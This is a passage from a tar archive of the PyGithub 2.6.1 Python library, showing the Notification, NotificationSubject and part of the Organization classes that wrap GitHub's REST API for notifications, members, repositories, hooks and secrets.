self._makeStringAttribute(attributes["role"]) if "role_name" in attributes: # pragma no branch self._role_name = self._makeStringAttribute(attributes["role_name"]) if "score" in attributes: # pragma no branch self._score = self._makeFloatAttribute(attributes["score"]) if "site_admin" in attributes: # pragma no branch self._site_admin = self._makeBoolAttribute(attributes["site_admin"]) if "starred_at" in attributes: # pragma no branch self._starred_at = self._makeStringAttribute(attributes["starred_at"]) if "starred_url" in attributes: # pragma no branch self._starred_url = self._makeStringAttribute(attributes["starred_url"]) if "subscriptions_url" in attributes: # pragma no branch self._subscriptions_url = self._makeStringAttribute(attributes["subscriptions_url"]) if "suspended_at" in attributes: # pragma no branch self._suspended_at = self._makeDatetimeAttribute(attributes["suspended_at"]) if "team_count" in attributes: self._team_count = self._makeIntAttribute(attributes["team_count"]) if "text_matches" in attributes: # pragma no branch self._text_matches = self._makeDictAttribute(attributes["text_matches"]) if "total_private_repos" in attributes: # pragma no branch self._total_private_repos = self._makeIntAttribute(attributes["total_private_repos"]) if "twitter_username" in attributes: # pragma no branch self._twitter_username = self._makeStringAttribute(attributes["twitter_username"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) if "user_view_type" in attributes: # pragma no branch self._user_view_type = self._makeStringAttribute(attributes["user_view_type"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Notification.py0000644000175100001660000002036214756101563017253 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2013 AKFish # # Copyright 2013 Peter Golm # # Copyright 2013 Vincent Jacques # # Copyright 2013 martinqt # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Alice GIRARD # # Copyright 2018 sfdye # # Copyright 2019 Olof-Joachim Frahm (欧雅福) # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Alice GIRARD # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Matthias Bilger # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations from datetime import datetime from typing import Any import github.GithubObject import github.Issue import github.NotificationSubject import github.PullRequest import github.Repository from github.GithubObject import Attribute, CompletableGithubObject, NotSet class Notification(CompletableGithubObject): """ This class represents Notifications. The reference can be found here https://docs.github.com/en/rest/reference/activity#notifications The OpenAPI schema can be found at - /components/schemas/thread """ def _initAttributes(self) -> None: self._id: Attribute[str] = NotSet self._last_read_at: Attribute[datetime] = NotSet self._reason: Attribute[str] = NotSet self._repository: Attribute[github.Repository.Repository] = NotSet self._subject: Attribute[github.NotificationSubject.NotificationSubject] = NotSet self._subscription_url: Attribute[str] = NotSet self._unread: Attribute[bool] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"id": self._id.value, "subject": self._subject.value}) @property def id(self) -> str: self._completeIfNotSet(self._id) return self._id.value @property def last_read_at(self) -> datetime: self._completeIfNotSet(self._last_read_at) return self._last_read_at.value @property def reason(self) -> str: self._completeIfNotSet(self._reason) return self._reason.value @property def repository(self) -> github.Repository.Repository: self._completeIfNotSet(self._repository) return self._repository.value @property def subject(self) -> github.NotificationSubject.NotificationSubject: self._completeIfNotSet(self._subject) return self._subject.value @property def subscription_url(self) -> str: self._completeIfNotSet(self._subscription_url) return self._subscription_url.value @property def unread(self) -> bool: self._completeIfNotSet(self._unread) return self._unread.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value def mark_as_read(self) -> None: """ :calls: `PATCH /notifications/threads/{id} `_ """ headers, data = self._requester.requestJsonAndCheck( "PATCH", self.url, ) def mark_as_done(self) -> None: """ :calls: `DELETE /notifications/threads/{id} `_ """ headers, data = self._requester.requestJsonAndCheck( "DELETE", self.url, ) def get_pull_request(self) -> github.PullRequest.PullRequest: headers, data = self._requester.requestJsonAndCheck("GET", self.subject.url) return github.PullRequest.PullRequest(self._requester, headers, data, completed=True) def get_issue(self) -> github.Issue.Issue: headers, data = self._requester.requestJsonAndCheck("GET", self.subject.url) return github.Issue.Issue(self._requester, headers, data, completed=True) def _useAttributes(self, attributes: dict[str, Any]) -> None: if "id" in attributes: # pragma no branch self._id = self._makeStringAttribute(attributes["id"]) if "last_read_at" in attributes: # pragma no branch self._last_read_at = self._makeDatetimeAttribute(attributes["last_read_at"]) if "reason" in attributes: # pragma no branch self._reason = self._makeStringAttribute(attributes["reason"]) if "repository" in attributes: # pragma no branch self._repository = self._makeClassAttribute(github.Repository.Repository, attributes["repository"]) if "subject" in attributes: # pragma no branch self._subject = self._makeClassAttribute( github.NotificationSubject.NotificationSubject, attributes["subject"] ) if "subscription_url" in attributes: # pragma no branch self._subscription_url = self._makeStringAttribute(attributes["subscription_url"]) if "unread" in attributes: # pragma no branch self._unread = self._makeBoolAttribute(attributes["unread"]) if "updated_at" in attributes: # pragma no branch self._updated_at = self._makeDatetimeAttribute(attributes["updated_at"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/NotificationSubject.py0000644000175100001660000001154014756101563020571 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2014 Vincent Jacques # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Peter Buckley # # Copyright 2018 Wan Liuyang # # Copyright 2018 sfdye # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2020 Steve Kowalik # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2023 Enrico Minack # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Enrico Minack # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from typing import Any, Dict from github.GithubObject import Attribute, NonCompletableGithubObject, NotSet class NotificationSubject(NonCompletableGithubObject): """ This class represents Subjects of Notifications. The reference can be found here https://docs.github.com/en/rest/reference/activity#list-notifications-for-the-authenticated-user The OpenAPI schema can be found at - /components/schemas/thread/properties/subject """ def _initAttributes(self) -> None: self._latest_comment_url: Attribute[str] = NotSet self._title: Attribute[str] = NotSet self._type: Attribute[str] = NotSet self._url: Attribute[str] = NotSet def __repr__(self) -> str: return self.get__repr__({"title": self._title.value}) @property def latest_comment_url(self) -> str: return self._latest_comment_url.value @property def title(self) -> str: return self._title.value @property def type(self) -> str: return self._type.value @property def url(self) -> str: return self._url.value def _useAttributes(self, attributes: Dict[str, Any]) -> None: if "latest_comment_url" in attributes: # pragma no branch self._latest_comment_url = self._makeStringAttribute(attributes["latest_comment_url"]) if "title" in attributes: # pragma no branch self._title = self._makeStringAttribute(attributes["title"]) if "type" in attributes: # pragma no branch self._type = self._makeStringAttribute(attributes["type"]) if "url" in attributes: # pragma no branch self._url = self._makeStringAttribute(attributes["url"]) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/github/Organization.py0000644000175100001660000027317014756101563017300 0ustar00runnerdocker############################ Copyrights and license ############################ # # # Copyright 2012 Steve English # # Copyright 2012 Vincent Jacques # # Copyright 2012 Zearin # # Copyright 2013 AKFish # # Copyright 2013 Vincent Jacques # # Copyright 2013 martinqt # # Copyright 2014 Vincent Jacques # # Copyright 2015 Sebastien Besson # # Copyright 2016 Jannis Gebauer # # Copyright 2016 Matthew Neal # # Copyright 2016 Michael Pereira # # Copyright 2016 Peter Buckley # # Copyright 2017 Balázs Rostás # # Copyright 2018 Anton Nguyen # # Copyright 2018 Jacopo Notarstefano # # Copyright 2018 Jasper van Wanrooy # # Copyright 2018 Raihaan <31362124+res0nance@users.noreply.github.com> # # Copyright 2018 Shubham Singh <41840111+singh811@users.noreply.github.com> # # Copyright 2018 Steve Kowalik # # Copyright 2018 Tim Boring # # Copyright 2018 Wan Liuyang # # Copyright 2018 Yossarian King # # Copyright 2018 sfdye # # Copyright 2019 Brian Choy # # Copyright 2019 Geoffroy Jabouley # # Copyright 2019 Pascal Bach # # Copyright 2019 Raihaan <31362124+res0nance@users.noreply.github.com> # # Copyright 2019 Shibasis Patel # # Copyright 2019 Steve Kowalik # # Copyright 2019 Wan Liuyang # # Copyright 2019 ebrown # # Copyright 2020 Anuj Bansal # # Copyright 2020 Glenn McDonald # # Copyright 2020 Steve Kowalik # # Copyright 2020 latacora-daniel <71085674+latacora-daniel@users.noreply.github.com># # Copyright 2020 ton-katsu # # Copyright 2021 James Simpson # # Copyright 2021 Marina Peresypkina # # Copyright 2021 Mark Walker # # Copyright 2021 Steve Kowalik # # Copyright 2021 Tanner <51724788+lightningboltemoji@users.noreply.github.com> # # Copyright 2022 KimSia Sim <245021+simkimsia@users.noreply.github.com> # # Copyright 2023 Enrico Minack # # Copyright 2023 Felipe Peter # # Copyright 2023 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2023 Jonathan Greg <31892308+jmgreg31@users.noreply.github.com> # # Copyright 2023 Jonathan Leitschuh # # Copyright 2023 Mark Amery # # Copyright 2023 Mauricio Alejandro Martínez Pacheco # # Copyright 2023 Mauricio Alejandro Martínez Pacheco # # Copyright 2023 Oliver Mannion <125105+tekumara@users.noreply.github.com> # # Copyright 2023 Trim21 # # Copyright 2024 Andrii Kezikov # # Copyright 2024 Bill Napier # # Copyright 2024 Enrico Minack # # Copyright 2024 Jacky Lam # # Copyright 2024 Jirka Borovec <6035284+Borda@users.noreply.github.com> # # Copyright 2024 Mohamed Mostafa <112487260+mohy01@users.noreply.github.com> # # Copyright 2024 Oskar Jansson <56458534+janssonoskar@users.noreply.github.com># # Copyright 2024 Pasha Fateev # # Copyright 2024 Thomas Cooper # # Copyright 2024 Thomas Crowley <15927917+thomascrowley@users.noreply.github.com># # Copyright 2025 Bill Napier # # Copyright 2025 Enrico Minack # # # # This file is part of PyGithub. # # http://pygithub.readthedocs.io/ # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see . # # # ################################################################################ from __future__ import annotations import urllib.parse from datetime import datetime from typing import TYPE_CHECKING, Any import github.CodeSecurityConfig import github.CodeSecurityConfigRepository import github.Copilot import github.DefaultCodeSecurityConfig import github.Event import github.GithubObject import github.HookDelivery import github.NamedUser import github.OrganizationCustomProperty import github.OrganizationDependabotAlert import github.OrganizationSecret import github.OrganizationVariable import github.Plan import github.Project import github.Repository import github.Team from github import Consts from github.GithubObject import ( Attribute, CompletableGithubObject, NotSet, Opt, is_defined, is_optional, is_optional_list, is_undefined, ) from github.PaginatedList import PaginatedList if TYPE_CHECKING: from github.CodeSecurityConfig import CodeSecurityConfig from github.CodeSecurityConfigRepository import CodeSecurityConfigRepository from github.Copilot import Copilot from github.DefaultCodeSecurityConfig import DefaultCodeSecurityConfig from github.Event import Event from github.Hook import Hook from github.Installation import Installation from github.Issue import Issue from github.Label import Label from github.Migration import Migration from github.NamedUser import NamedUser from github.OrganizationCustomProperty import ( CustomProperty, OrganizationCustomProperty, RepositoryCustomPropertyValues, ) from github.OrganizationDependabotAlert import OrganizationDependabotAlert from github.OrganizationSecret import OrganizationSecret from github.OrganizationVariable import OrganizationVariable from github.Plan import Plan from github.Project import Project from github.PublicKey import PublicKey from github.Repository import Repository from github.Team import Team class Organization(CompletableGithubObject): """ This class represents Organizations. The reference can be found here https://docs.github.com/en/rest/reference/orgs The OpenAPI schema can be found at - /components/schemas/actor - /components/schemas/organization-full - /components/schemas/organization-simple - /components/schemas/team-organization """ def _initAttributes(self) -> None: self._advanced_security_enabled_for_new_repositories: Attribute[bool] = NotSet self._archived_at: Attribute[datetime] = NotSet self._avatar_url: Attribute[str] = NotSet self._billing_email: Attribute[str] = NotSet self._blog: Attribute[str | None] = NotSet self._collaborators: Attribute[int] = NotSet self._company: Attribute[str] = NotSet self._created_at: Attribute[datetime] = NotSet self._default_repository_permission: Attribute[str] = NotSet self._dependabot_alerts_enabled_for_new_repositories: Attribute[bool] = NotSet self._dependabot_security_updates_enabled_for_new_repositories: Attribute[bool] = NotSet self._dependency_graph_enabled_for_new_repositories: Attribute[bool] = NotSet self._description: Attribute[str] = NotSet self._disk_usage: Attribute[int] = NotSet self._display_login: Attribute[str] = NotSet self._email: Attribute[str] = NotSet self._events_url: Attribute[str] = NotSet self._followers: Attribute[int] = NotSet self._following: Attribute[int] = NotSet self._gravatar_id: Attribute[str] = NotSet self._has_organization_projects: Attribute[bool] = NotSet self._has_repository_projects: Attribute[bool] = NotSet self._hooks_url: Attribute[str] = NotSet self._html_url: Attribute[str] = NotSet self._id: Attribute[int] = NotSet self._is_verified: Attribute[bool] = NotSet self._issues_url: Attribute[str] = NotSet self._location: Attribute[str] = NotSet self._login: Attribute[str] = NotSet self._members_allowed_repository_creation_type: Attribute[str] = NotSet self._members_can_create_internal_repositories: Attribute[bool] = NotSet self._members_can_create_pages: Attribute[bool] = NotSet self._members_can_create_private_pages: Attribute[bool] = NotSet self._members_can_create_private_repositories: Attribute[bool] = NotSet self._members_can_create_public_pages: Attribute[bool] = NotSet self._members_can_create_public_repositories: Attribute[bool] = NotSet self._members_can_create_repositories: Attribute[bool] = NotSet self._members_can_fork_private_repositories: Attribute[bool] = NotSet self._members_url: Attribute[str] = NotSet self._name: Attribute[str] = NotSet self._node_id: Attribute[str] = NotSet self._owned_private_repos: Attribute[int] = NotSet self._plan: Attribute[Plan] = NotSet self._private_gists: Attribute[int] = NotSet self._public_gists: Attribute[int] = NotSet self._public_members_url: Attribute[str] = NotSet self._public_repos: Attribute[int] = NotSet self._repos_url: Attribute[str] = NotSet self._secret_scanning_enabled_for_new_repositories: Attribute[bool] = NotSet self._secret_scanning_push_protection_custom_link: Attribute[str] = NotSet self._secret_scanning_push_protection_custom_link_enabled: Attribute[bool] = NotSet self._secret_scanning_push_protection_enabled_for_new_repositories: Attribute[bool] = NotSet self._total_private_repos: Attribute[int] = NotSet self._twitter_username: Attribute[str] = NotSet self._two_factor_requirement_enabled: Attribute[bool] = NotSet self._type: Attribute[str] = NotSet self._updated_at: Attribute[datetime] = NotSet self._url: Attribute[str] = NotSet self._web_commit_signoff_required: Attribute[bool] = NotSet def __repr__(self) -> str: return self.get__repr__({"login": self._login.value}) @property def advanced_security_enabled_for_new_repositories(self) -> bool: self._completeIfNotSet(self._advanced_security_enabled_for_new_repositories) return self._advanced_security_enabled_for_new_repositories.value @property def archived_at(self) -> datetime: self._completeIfNotSet(self._archived_at) return self._archived_at.value @property def avatar_url(self) -> str: self._completeIfNotSet(self._avatar_url) return self._avatar_url.value @property def billing_email(self) -> str: self._completeIfNotSet(self._billing_email) return self._billing_email.value @property def blog(self) -> str | None: self._completeIfNotSet(self._blog) return self._blog.value @property def collaborators(self) -> int: self._completeIfNotSet(self._collaborators) return self._collaborators.value @property def company(self) -> str | None: self._completeIfNotSet(self._company) return self._company.value @property def created_at(self) -> datetime: self._completeIfNotSet(self._created_at) return self._created_at.value @property def default_repository_permission(self) -> str: self._completeIfNotSet(self._default_repository_permission) return self._default_repository_permission.value @property def dependabot_alerts_enabled_for_new_repositories(self) -> bool: self._completeIfNotSet(self._dependabot_alerts_enabled_for_new_repositories) return self._dependabot_alerts_enabled_for_new_repositories.value @property def dependabot_security_updates_enabled_for_new_repositories(self) -> bool: self._completeIfNotSet(self._dependabot_security_updates_enabled_for_new_repositories) return self._dependabot_security_updates_enabled_for_new_repositories.value @property def dependency_graph_enabled_for_new_repositories(self) -> bool: self._completeIfNotSet(self._dependency_graph_enabled_for_new_repositories) return self._dependency_graph_enabled_for_new_repositories.value @property def description(self) -> str: self._completeIfNotSet(self._description) return self._description.value @property def disk_usage(self) -> int: self._completeIfNotSet(self._disk_usage) return self._disk_usage.value @property def display_login(self) -> str: self._completeIfNotSet(self._display_login) return self._display_login.value @property def email(self) -> str | None: self._completeIfNotSet(self._email) return self._email.value @property def events_url(self) -> str: self._completeIfNotSet(self._events_url) return self._events_url.value @property def followers(self) -> int: self._completeIfNotSet(self._followers) return self._followers.value @property def following(self) -> int: self._completeIfNotSet(self._following) return self._following.value @property def gravatar_id(self) -> str: self._completeIfNotSet(self._gravatar_id) return self._gravatar_id.value @property def has_organization_projects(self) -> bool: self._completeIfNotSet(self._has_organization_projects) return self._has_organization_projects.value @property def has_repository_projects(self) -> bool: self._completeIfNotSet(self._has_repository_projects) return self._has_repository_projects.value @property def hooks_url(self) -> str: self._completeIfNotSet(self._hooks_url) return self._hooks_url.value @property def html_url(self) -> str: self._completeIfNotSet(self._html_url) return self._html_url.value @property def id(self) -> int: self._completeIfNotSet(self._id) return self._id.value @property def is_verified(self) -> bool: self._completeIfNotSet(self._is_verified) return self._is_verified.value @property def issues_url(self) -> str: self._completeIfNotSet(self._issues_url) return self._issues_url.value @property def location(self) -> str: self._completeIfNotSet(self._location) return self._location.value @property def login(self) -> str: self._completeIfNotSet(self._login) return self._login.value @property def members_allowed_repository_creation_type(self) -> str: self._completeIfNotSet(self._members_allowed_repository_creation_type) return self._members_allowed_repository_creation_type.value @property def members_can_create_internal_repositories(self) -> bool: self._completeIfNotSet(self._members_can_create_internal_repositories) return self._members_can_create_internal_repositories.value @property def members_can_create_pages(self) -> bool: self._completeIfNotSet(self._members_can_create_pages) return self._members_can_create_pages.value @property def members_can_create_private_pages(self) -> bool: self._completeIfNotSet(self._members_can_create_private_pages) return self._members_can_create_private_pages.value @property def members_can_create_private_repositories(self) -> bool: self._completeIfNotSet(self._members_can_create_private_repositories) return self._members_can_create_private_repositories.value @property def members_can_create_public_pages(self) -> bool: self._completeIfNotSet(self._members_can_create_public_pages) return self._members_can_create_public_pages.value @property def members_can_create_public_repositories(self) -> bool: self._completeIfNotSet(self._members_can_create_public_repositories) return self._members_can_create_public_repositories.value @property def members_can_create_repositories(self) -> bool: self._completeIfNotSet(self._members_can_create_repositories) return self._members_can_create_repositories.value @property def members_can_fork_private_repositories(self) -> bool: self._completeIfNotSet(self._members_can_fork_private_repositories) return self._members_can_fork_private_repositories.value @property def members_url(self) -> str: self._completeIfNotSet(self._members_url) return self._members_url.value @property def name(self) -> str | None: self._completeIfNotSet(self._name) return self._name.value @property def node_id(self) -> str: self._completeIfNotSet(self._node_id) return self._node_id.value @property def owned_private_repos(self) -> int: self._completeIfNotSet(self._owned_private_repos) return self._owned_private_repos.value @property def plan(self) -> Plan: self._completeIfNotSet(self._plan) return self._plan.value @property def private_gists(self) -> int: self._completeIfNotSet(self._private_gists) return self._private_gists.value @property def public_gists(self) -> int: self._completeIfNotSet(self._public_gists) return self._public_gists.value @property def public_members_url(self) -> str: self._completeIfNotSet(self._public_members_url) return self._public_members_url.value @property def public_repos(self) -> int: self._completeIfNotSet(self._public_repos) return self._public_repos.value @property def repos_url(self) -> str: self._completeIfNotSet(self._repos_url) return self._repos_url.value @property def secret_scanning_enabled_for_new_repositories(self) -> bool: self._completeIfNotSet(self._secret_scanning_enabled_for_new_repositories) return self._secret_scanning_enabled_for_new_repositories.value @property def secret_scanning_push_protection_custom_link(self) -> str: self._completeIfNotSet(self._secret_scanning_push_protection_custom_link) return self._secret_scanning_push_protection_custom_link.value @property def secret_scanning_push_protection_custom_link_enabled(self) -> bool: self._completeIfNotSet(self._secret_scanning_push_protection_custom_link_enabled) return self._secret_scanning_push_protection_custom_link_enabled.value @property def secret_scanning_push_protection_enabled_for_new_repositories(self) -> bool: self._completeIfNotSet(self._secret_scanning_push_protection_enabled_for_new_repositories) return self._secret_scanning_push_protection_enabled_for_new_repositories.value @property def total_private_repos(self) -> int: self._completeIfNotSet(self._total_private_repos) return self._total_private_repos.value @property def twitter_username(self) -> str: self._completeIfNotSet(self._twitter_username) return self._twitter_username.value @property def two_factor_requirement_enabled(self) -> bool: self._completeIfNotSet(self._two_factor_requirement_enabled) return self._two_factor_requirement_enabled.value @property def type(self) -> str: self._completeIfNotSet(self._type) return self._type.value @property def updated_at(self) -> datetime: self._completeIfNotSet(self._updated_at) return self._updated_at.value @property def url(self) -> str: self._completeIfNotSet(self._url) return self._url.value @property def web_commit_signoff_required(self) -> bool: self._completeIfNotSet(self._web_commit_signoff_required) return self._web_commit_signoff_required.value def add_to_members(self, member: NamedUser, role: Opt[str] = NotSet) -> None: """ :calls: `PUT /orgs/{org}/memberships/{user} `_ """ assert is_optional(role, str), role assert isinstance(member, github.NamedUser.NamedUser), member put_parameters = NotSet.remove_unset_items({"role": role}) headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.url}/memberships/{member._identity}", input=put_parameters ) def add_to_public_members(self, public_member: NamedUser) -> None: """ :calls: `PUT /orgs/{org}/public_members/{user} `_ """ assert isinstance(public_member, github.NamedUser.NamedUser), public_member headers, data = self._requester.requestJsonAndCheck( "PUT", f"{self.url}/public_members/{public_member._identity}" ) def create_fork( self, repo: Repository, name: Opt[str] = NotSet, default_branch_only: Opt[bool] = NotSet, ) -> Repository: """ :calls: `POST /repos/{owner}/{repo}/forks `_ """ assert isinstance(repo, github.Repository.Repository), repo return repo.create_fork( self, name=name, default_branch_only=default_branch_only, ) def create_repo_from_template( self, name: str, repo: Repository, description: Opt[str] = NotSet, include_all_branches: Opt[bool] = NotSet, private: Opt[bool] = NotSet, ) -> Repository: """self.name :calls: `POST /repos/{template_owner}/{template_repo}/generate `_ """ assert isinstance(name, str), name assert isinstance(repo, github.Repository.Repository), repo assert is_optional(description, str), description assert is_optional(include_all_branches, bool), include_all_branches assert is_optional(private, bool), private post_parameters: dict[str, Any] = NotSet.remove_unset_items( { "name": name, "owner": self.login, "description": description, "include_all_branches": include_all_branches, "private": private, } ) headers, data = self._requester.requestJsonAndCheck( "POST", f"/repos/{repo.owner.login}/{repo.name}/generate", input=post_parameters, headers={"Accept": "application/vnd.github.v3+json"}, ) return github.Repository.Repository(self._requester, headers, data, completed=True) def create_hook( self, name: str, config: dict[str, str], events: Opt[list[str]] = NotSet, active: Opt[bool] = NotSet, ) -> Hook: """ :calls: `POST /orgs/{owner}/hooks `_ :param name: string :param config: dict :param events: list of string :param active: bool :rtype: :class:`github.Hook.Hook` """ assert isinstance(name, str), name assert isinstance(config, dict), config assert is_optional_list(events, str), events assert is_optional(active, bool), active post_parameters: dict[str, Any] = NotSet.remove_unset_items( { "name": name, "config": config, "events": events, "active": active, } ) headers, data = self._requester.requestJsonAndCheck("POST", f"{self.url}/hooks", input=post_parameters) return github.Hook.Hook(self._requester, headers, data, completed=True) def create_project(self, name: str, body: Opt[str] = NotSet) -> github.Project.Project: """ :calls: `POST /orgs/{org}/projects `_ """ assert isinstance(name, str), name assert is_optional(body, str), body post_parameters: dict[str, Any] = NotSet.remove_unset_items({"name": name, "body": body}) headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/projects", input=post_parameters, headers={"Accept": Consts.mediaTypeProjectsPreview}, ) return github.Project.Project(self._requester, headers, data, completed=True) def create_repo( self, name: str, description: Opt[str] = NotSet, homepage: Opt[str] = NotSet, private: Opt[bool] = NotSet, visibility: Opt[str] = NotSet, has_issues: Opt[bool] = NotSet, has_wiki: Opt[bool] = NotSet, has_downloads: Opt[bool] = NotSet, has_projects: Opt[bool] = NotSet, team_id: Opt[int] = NotSet, auto_init: Opt[bool] = NotSet, license_template: Opt[str] = NotSet, gitignore_template: Opt[str] = NotSet, allow_squash_merge: Opt[bool] = NotSet, allow_merge_commit: Opt[bool] = NotSet, allow_rebase_merge: Opt[bool] = NotSet, delete_branch_on_merge: Opt[bool] = NotSet, allow_update_branch: Opt[bool] = NotSet, is_template: Opt[bool] = NotSet, allow_auto_merge: Opt[bool] = NotSet, use_squash_pr_title_as_default: Opt[bool] = NotSet, squash_merge_commit_title: Opt[str] = NotSet, squash_merge_commit_message: Opt[str] = NotSet, merge_commit_title: Opt[str] = NotSet, merge_commit_message: Opt[str] = NotSet, custom_properties: Opt[dict[str, Any]] = NotSet, ) -> github.Repository.Repository: """ :calls: `POST /orgs/{org}/repos `_ """ assert isinstance(name, str), name assert is_optional(description, str), description assert is_optional(homepage, str), homepage assert is_optional(private, bool), private assert is_optional(visibility, str), visibility assert is_optional(has_issues, bool), has_issues assert is_optional(has_wiki, bool), has_wiki assert is_optional(has_downloads, bool), has_downloads assert is_optional(has_projects, bool), has_projects assert is_optional(team_id, int), team_id assert is_optional(auto_init, bool), auto_init assert is_optional(license_template, str), license_template assert is_optional(gitignore_template, str), gitignore_template assert is_optional(allow_squash_merge, bool), allow_squash_merge assert is_optional(allow_merge_commit, bool), allow_merge_commit assert is_optional(allow_rebase_merge, bool), allow_rebase_merge assert is_optional(delete_branch_on_merge, bool), delete_branch_on_merge assert is_optional(allow_update_branch, bool), allow_update_branch assert is_optional(is_template, bool), is_template assert is_optional(allow_auto_merge, bool), allow_auto_merge assert is_optional(use_squash_pr_title_as_default, bool), use_squash_pr_title_as_default assert squash_merge_commit_title in ["PR_TITLE", "COMMIT_OR_PR_TITLE", NotSet], squash_merge_commit_title assert squash_merge_commit_message in [ "PR_BODY", "COMMIT_MESSAGES", "BLANK", NotSet, ], squash_merge_commit_message assert merge_commit_title in ["PR_TITLE", "MERGE_MESSAGE", NotSet], merge_commit_title assert merge_commit_message in ["PR_TITLE", "PR_BODY", "BLANK", NotSet], merge_commit_message assert is_optional(custom_properties, dict), custom_properties post_parameters = NotSet.remove_unset_items( { "name": name, "description": description, "homepage": homepage, "private": private, "visibility": visibility, "has_issues": has_issues, "has_wiki": has_wiki, "has_downloads": has_downloads, "has_projects": has_projects, "team_id": team_id, "auto_init": auto_init, "license_template": license_template, "gitignore_template": gitignore_template, "allow_squash_merge": allow_squash_merge, "allow_merge_commit": allow_merge_commit, "allow_rebase_merge": allow_rebase_merge, "delete_branch_on_merge": delete_branch_on_merge, "allow_update_branch": allow_update_branch, "is_template": is_template, "allow_auto_merge": allow_auto_merge, "use_squash_pr_title_as_default": use_squash_pr_title_as_default, "squash_merge_commit_title": squash_merge_commit_title, "squash_merge_commit_message": squash_merge_commit_message, "merge_commit_title": merge_commit_title, "merge_commit_message": merge_commit_message, "custom_properties": custom_properties, } ) headers, data = self._requester.requestJsonAndCheck( "POST", f"{self.url}/repos", input=post_parameters, headers={"Accept": Consts.repoVisibilityPreview}, ) return github.Repository.Repository(self._requester, headers, data, completed=True) def create_secret( self, secret_name: str, unencrypted_value: str, visibility: str = "all", selected_repositories: Opt[list[github.Repository.Repository]] = NotSet, secret_type: str = "actions", ) -> github.OrganizationSecret.OrganizationSecret: """ :param secret_name: string name of the secret :param unencrypted_value: string plain text value of the secret :param visibility: string options all or selected :param selected_repositories: list of repositrories that the secret will be available in :param secret_type: string options actions or dependabot :calls: `PUT /orgs/{org}/{secret_type}/secrets/{secret_name} `_ """ assert isinstance(secret_name, str), secret_name assert isinstance(unencrypted_value, str), unencrypted_value assert isinstance(visibility, str), visibility assert is_optional_list(selected_repositories, github.Repository.Repository), selected_repositories assert secret_type in ["actions", "dependabot"], "secret_type should be actions or dependabot" if visibility == "selected": assert isinstance(selected_repositories, list) and all( isinstance(element, github.Repository.Repository) for element in selected_repositories ), selected_repositories else: assert selected_repositories is NotSet public_key = self.get_public_key(secret_type=secret_type) payload = public_key.encrypt(unencrypted_value) put_parameters: dict[str, Any] = { "key_id": public_key.key_id, "encrypted_value": payload, "visibility": visibility, } if is_defined(selected_repositories): # Dependbot and Actions endpoint expects different types # https://docs.github.com/en/rest/dependabot/secrets?apiVersion=2022-11-28#create-or-update-an-organization-secret # https://docs.github.com/en/rest/actions/secrets?apiVersion=2022-11-28#create-or-update-an-organization-secret if secret_type == "actions": put_parameters["selected_repository_ids"] = [element.id 